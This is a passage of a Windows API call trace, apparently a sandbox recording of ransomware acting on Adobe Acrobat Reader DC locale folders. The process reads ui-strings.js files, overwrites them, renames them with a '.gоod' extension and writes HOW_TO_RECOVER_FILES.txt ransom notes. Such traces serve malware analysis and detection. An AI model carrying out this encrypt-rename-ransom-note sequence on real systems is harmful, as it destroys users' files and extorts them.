DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0199.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0199.117] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0199.117] GetFileType (hFile=0x7f8) returned 0x1 [0199.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0199.117] GetFileType (hFile=0x7f8) returned 0x1 [0199.117] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x748 [0199.117] ReadFile (in: hFile=0x7f8, lpBuffer=0x3819888, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3819888*, lpNumberOfBytesRead=0x203eb258*=0x748, lpOverlapped=0x0) returned 1 [0199.119] CloseHandle (hObject=0x7f8) returned 1 [0199.402] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0199.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0199.402] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0199.403] GetFileType (hFile=0x84c) returned 0x1 [0199.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0199.403] GetFileType (hFile=0x84c) returned 0x1 [0199.403] WriteFile (in: hFile=0x84c, lpBuffer=0x3912df8*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3912df8*, lpNumberOfBytesWritten=0x203eb168*=0x750, lpOverlapped=0x0) returned 1 [0199.404] CloseHandle (hObject=0x84c) returned 1 [0199.404] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0199.404] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0199.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0199.405] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x73106fbe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1 [0199.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0199.405] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\ui-strings.js.gоod")) returned 1 [0199.405] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0199.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0199.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x84c [0199.407] GetFileType (hFile=0x84c) returned 0x1 [0199.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0199.407] GetFileType (hFile=0x84c) returned 0x1 [0199.408] WriteFile (in: hFile=0x84c, lpBuffer=0x3916708*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3916708*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0199.408] CloseHandle (hObject=0x84c) returned 1 [0199.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0199.409] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma", lpFilePart=0x0) returned 0x77 [0199.409] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec86820 [0199.409] FindNextFileW (in: hFindFile=0x1ec86820, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.409] FindNextFileW (in: hFindFile=0x1ec86820, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.409] FindNextFileW (in: hFindFile=0x1ec86820, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0199.410] FindClose (in: hFindFile=0x1ec86820 | out: hFindFile=0x1ec86820) returned 1 [0199.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0199.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0199.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0199.410] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma", lpFilePart=0x0) returned 0x77 [0199.410] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec86220 [0199.410] FindNextFileW (in: hFindFile=0x1ec86220, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.410] FindNextFileW (in: hFindFile=0x1ec86220, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.410] FindNextFileW (in: hFindFile=0x1ec86220, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0199.411] FindClose (in: hFindFile=0x1ec86220 | out: hFindFile=0x1ec86220) returned 1 [0199.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0199.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0199.411] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0199.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0199.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39265e0 | out: lpFileInformation=0x39265e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748)) returned 1 [0199.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0199.411] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0199.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0199.411] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x84c [0199.411] GetFileType (hFile=0x84c) returned 0x1 [0199.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0199.411] GetFileType (hFile=0x84c) returned 0x1 [0199.411] GetFileSize (in: hFile=0x84c, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x748 [0199.411] ReadFile (in: hFile=0x84c, lpBuffer=0x39270d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x39270d0*, lpNumberOfBytesRead=0x203eb258*=0x748, lpOverlapped=0x0) returned 1 [0199.413] CloseHandle (hObject=0x84c) returned 1 [0205.333] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0205.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0205.333] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0205.334] GetFileType (hFile=0x7f8) returned 0x1 [0205.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0205.334] GetFileType (hFile=0x7f8) returned 0x1 [0205.334] WriteFile (in: hFile=0x7f8, lpBuffer=0x34d96e8*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x34d96e8*, lpNumberOfBytesWritten=0x203eb168*=0x750, lpOverlapped=0x0) returned 1 [0205.335] CloseHandle (hObject=0x7f8) returned 1 [0205.335] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0205.335] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0205.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0205.335] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x76995fe4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1 [0205.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0205.335] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js.gоod")) returned 1 [0205.336] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0205.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0205.336] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0205.337] GetFileType (hFile=0x7f8) returned 0x1 [0205.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0205.337] GetFileType (hFile=0x7f8) returned 0x1 [0205.338] WriteFile (in: hFile=0x7f8, lpBuffer=0x34dcff8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x34dcff8*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0205.339] CloseHandle (hObject=0x7f8) returned 1 [0205.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0205.339] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il", lpFilePart=0x0) returned 0x77 [0205.339] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0205.340] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.340] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0205.340] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0205.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0205.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0205.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0205.340] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il", lpFilePart=0x0) returned 0x77 [0205.340] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0205.341] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 